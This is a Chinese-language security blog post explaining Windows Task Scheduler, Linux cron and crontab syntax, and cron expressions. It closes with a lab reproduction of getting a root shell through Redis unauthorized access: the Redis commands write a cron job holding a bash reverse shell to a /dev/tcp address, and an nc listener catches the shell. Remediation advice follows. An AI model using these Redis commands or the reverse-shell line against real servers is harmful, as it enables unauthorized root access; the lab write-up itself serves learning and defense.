计划任务详解
0x00 前言
复现完若依后台的getshell的漏洞后,感觉计划任务这块内容用的还挺多的,除了刚刚复现的这个后台写入计划任务getshell,还有redis写入计划任务getshell,包括应急响应中也时常考虑计划任务那块是不是会有后门的存在。因为总是会疏忽计划任务这块内容,所以写这篇记录一下,顺便末尾再复现一下redis写入计划任务getshell。
0x01 windows计划任务
在“开始”处输入“任务计划程序”即可进入任务计划的程序界面,在该界面中可以看到目前所有已经创建的任务名,还可以自己创建任务、导入任务。
创建任务时,会让你自己设置触发器,选择合适的时间时间,可以看出windows上设置计划任务还是挺方便的,不过很少有windows用户会用计划任务这块功能。
0x02 linux计划任务
重点还是在linux上,linux的计划任务还是经常使用的。
关于cron
linux内置了cron这个进程,它是linux下的定时执行工具,可以在无需人工干预的情况下运行作业。
我们经常使用的是crontab这条命令,它是cron table的缩写,它是cron的配置文件,也可以叫它作业列表,在以下文件夹内找到相关配置文件。
●/var/spool/cron/ 目录下存放的是每个用户包括root的crontab任务,每个任务以创建者的名字命名,比如tom建的crontab任务对应的文件就是/var/spool/cron/tom。一般一个用户最多只有一个crontab文件。
●/etc/crontab 这个文件负责调度各种管理和维护任务。
●/etc/cron.d/ 这个目录用来存放任何要执行的crontab文件或脚本。
●我们还可以把脚本放在/etc/cron.hourly、/etc/cron.daily、/etc/cron.weekly、/etc/cron.monthly目录中,让它每小时/天/星期、月执行一次。
一般在应急响应中可以通过看这几个文件或文件夹下的文件查看是否有写入恶意的计划任务。
crontab常用命令
crontab [-u user] file crontab [-u user] [ -e | -l | -r ]
参数 | 参数意义 |
---|---|
-u user | 用来设定某个用户的crontab服务 |
file | 是命令文件的名字,表示将file做为crontab的任务列表文件并载入crontab。如果在命令行中没有指定这个文件,crontab命令将接受标准输入(键盘)上键入的命令,并将它们载入crontab。 |
-e | 编辑某个用户的crontab文件内容。如果不指定用户,则表示编辑当前用户的crontab文件。 |
-l | 显示某个用户的crontab文件内容,如果不指定用户,则表示显示当前用户的crontab文件内容。 |
-r | 从/var/spool/cron目录中删除某个用户的crontab文件,如果不指定用户,则默认删除当前用户的crontab文件。 |
-i | 在删除用户的crontab文件时给确认提示。 |
crontab有如下注意点:
- crontab有2种编辑方式:直接编辑/etc/crontab文件与crontab –e,其中/etc/crontab里的计划任务是系统中的计划任务,而用户的计划任务需要通过crontab –e来编辑;
- 每次编辑完某个用户的cron设置后,cron自动在/var/spool/cron(kali是在/var/spool/cron/crontabs)下生成一个与此用户同名的文件,此用户的cron信息都记录在这个文件中,这个文件是不可以直接编辑的,只可以用crontab -e 来编辑。
- crontab中的command尽量使用绝对路径,否则会经常因为路径错误导致任务无法执行。
- 新创建的cron job不会马上执行,至少要等2分钟才能执行,可重新启动cron来立即执行。
- %在crontab文件中表示“换行”,因此假如脚本或命令含有%,需要使用%来进行转义。
crontab配置
核心的内容肯定是crontab配置这块了。
用户所创建的crontab文件中,每一行都代表一项任务,每行的字段代表一项设置,它的格式共分为六个字段,前五段是时间设定段,第六段是要执行的命令段,具体的格式可以通过查看 /etc/crontab文件中的注释看到:
可能看的不是很清晰,可以再看看下图:
对于前5个时间字段,可以使用以下特殊字符:
字符 | 含义 |
---|---|
* | 代表所有的取值范围内的数字,如月份字段为*,则表示1到12个月; |
/ | 代表每一定时间间隔的意思,如分钟字段为*/10,表示每10分钟执行1次。 |
- | 代表从某个区间范围,是闭区间。如“2-5”表示“2,3,4,5”,小时字段中0-23/2表示在0~23点范围内每2个小时执行一次。 |
, | 分散的数字(不一定连续),如1,2,3,4,7,9。 |
注:由于各个地方每周第一天不一样,因此Sunday=0(第一天)或Sunday=7(最后1天)。
例如: * * * * * /bin/echo "123" >> /home/john/Desktop/1.txt
含义是每隔一分钟,执行一个动作:将字符串”123”追加到桌面上的1.txt文件中。
实例
这里我就把菜鸟教程上的实例粘贴过来了,附上地址:
实例1:每1分钟执行一次myCommand
\* * * * * myCommand
实例2:每小时的第3和第15分钟执行
3,15 * * * * myCommand
实例3:在上午8点到11点的第3和第15分钟执行
3,15 8-11 * * * myCommand
实例4:每隔两天的上午8点到11点的第3和第15分钟执行
3,15 8-11 */2 * * myCommand
实例5:每周一上午8点到11点的第3和第15分钟执行
3,15 8-11 * * 1 myCommand
实例6:每晚的21:30重启smb
30 21 * * * /etc/init.d/smb restart
实例7:每月1、10、22日的4 : 45重启smb
45 4 1,10,22 * * /etc/init.d/smb restart
实例8:每周六、周日的1 : 10重启smb
10 1 * * 6,0 /etc/init.d/smb restart
实例9:每天18 : 00至23 : 00之间每隔30分钟重启smb
0,30 18-23 * * * /etc/init.d/smb restart
实例10:每星期六的晚上11 : 00 pm重启smb
0 23 * * 6 /etc/init.d/smb restart
实例11:每一小时重启smb
0 */1 * * * /etc/init.d/smb restart
实例12:晚上11点到早上7点之间,每隔一小时重启smb
0 23-7/1 * * * /etc/init.d/smb restart
cron表达式
比较奇怪的是,linux的cron标准在时间上只有5个域,所以最小只支持到分钟量级的间隔时间,而不支持秒量级的间隔时间,所以又有人提出了cron表达式。
cron表达式基本构成为 7个时间字段,即 秒+分+时+天+月+星期+年, 每一段可用的特殊字符除了前面所提到的四个字符外,cron表达式还规定了如下几个特殊字符:
字符 | 含义 |
---|---|
? | 任何值, 表示不关心具体哪一天,只能用于天(day_of_month)和星期(day_of_week)两个字段 |
L | last,表示某个月最后一天或某个星期的最后一天 |
W | 工作日(周一至周五) |
# | 表示某个月的第几个星期几,如4#2表示某月的第二个星期四 |
每个字段的取值范围如下:
秒(second):0~59
分钟(minute):0~59
小时(hour):0~23
日(day):1~31
月(month):1~12或JAN-DEC
年(year):可选,1970~2099或者空
比如上一遍笔记我用到的cron表达式:
0/10 * * * * ?
代表每10秒执行一次任务。
具体示例可以看阿里云的这篇文章:
简单任务CRON表达式的详解_金融分布式架构 SOFAStack(SOFAStack)-阿里云帮助中心
0x03 redis未授权漏洞复现(写入计划任务反弹shell)
顺便再次复习一下redis未授权访问的漏洞吧。
环境搭建
ubuntu(192.168.1.133):redis服务器 模拟靶机
kali(192.168.1.129):redis客户端 模拟攻击者
centos(192.168.1.134) :redis服务器 模拟靶机 (后面加的)
我的kali中是有redis客户端的,就是在ubuntu上需要安装redis服务,这里就直接从官方网站上下载压缩包,然后解压编译,具体命令如下:
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar xzf redis-2.8.17.tar.gz
cd redis-2.8.17
cd src
sudo su root # 必须以root身份编译
make install
make test
cp redis-server /usr/bin
cp redis-cli /usr/bin
cd ../
cp redis.conf /etc/redis.conf
然后启动redis-server
redis-server /etc/redis.conf
漏洞产生原因
主要是因为配置不当,将Redis服务绑定到公共接口,甚至没有密码身份验证。
在ubuntu中查看redis配置文件/etc/redis.conf,如果bind 127.0.0.1 那行被注释了,当前redis就是被绑定在了0.0.0.0:6379,如果也没有设置requirepass的配置字段,防火墙也没有限定可以连接的源ip,那么就很可能存在redis未授权访问,
kali端通过redis-cli即可直接连接到redis服务器上。
漏洞利用
redis未授权访问一共三种利用方式:
确定webshell路径后,写入webshell
写入ssh-keygen公钥,进行ssh登录
写入计划任务反弹shell
由于这篇主题是计划任务,所以这里只复现计划任务反弹shell了。
在kali连接到redis服务器后,先建立计划任务:
set x "\n* * * * * /bin/bash -i > /dev/tcp/192.168.1.129/6666 0<&1 2>&1\n"
然后将计划任务放到定时任务下:
config set dir /var/spool/cron/
接着设置以root用户的身份执行该任务
config set dbfilename root
最后输入 save
命令保存
显示ok
表示计划任务写入成功。
注意:服务端的redis-server需要在root权限下运行,否则在攻击机上最后save
时会报错,显示(error) ERR
查看写入的计划任务的文件/var/spool/cron/root
发现是写入成功了,但是出现乱码。
先直接测试一下看看能不能反弹。
因为刚才设置计划任务是将shell反弹到kali的6666端口上,所以我们用nc来监听6666端口,看是否能成功反弹
nc -lvvp 6666
等了半天,没能成功反弹。 看了其他人的文章后才发现,ubuntu环境下写入计划任务的方式是不能反弹shell的,就是由于这个乱码,而centos环境下是可以的,因为centos可以忽略乱码继续往下执行。
换成centos环境继续测试
下面就把靶机换成centos7(192.168.1.134),重复上面的安装操作,在centos上开启redis服务器,再次尝试上述同样的操作。
然后在centos中查看是否成功写入计划任务:
上面一行是我之前测试的没有成功,下面一行是我现在成功写入的。
kali上 nc -lvvp 6666
监听6666端口:
可以看到成功反弹权限为root的shell!至此复现成功。
漏洞修复
禁止Redis服务对公网开放,可通过修改redis.conf配置文件中的bind那行配置
设置密码访问认证,可通过修改redis.conf配置文件中的”requirepass”,增加身份验证
对访问源IP进行访问控制,可在防火墙限定指定源ip才可以连接Redis服务器;
修改Redis默认端口,将默认的6379端口修改为其他端口。